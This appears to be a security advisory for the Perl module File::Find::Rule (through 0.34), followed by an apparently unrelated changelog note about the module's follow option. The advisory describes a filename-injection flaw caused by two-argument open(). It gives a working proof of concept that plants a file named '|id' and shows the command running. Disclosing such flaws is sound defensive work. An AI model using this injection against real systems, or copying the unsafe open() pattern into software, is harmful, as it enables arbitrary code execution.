File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename. A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed. Example: $ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
when you specify an extra of C<{ follow => 1 }> File::Find stops populating $File::Find::topdir. This leads to warnings noise so instead we now track $topdir ourselves.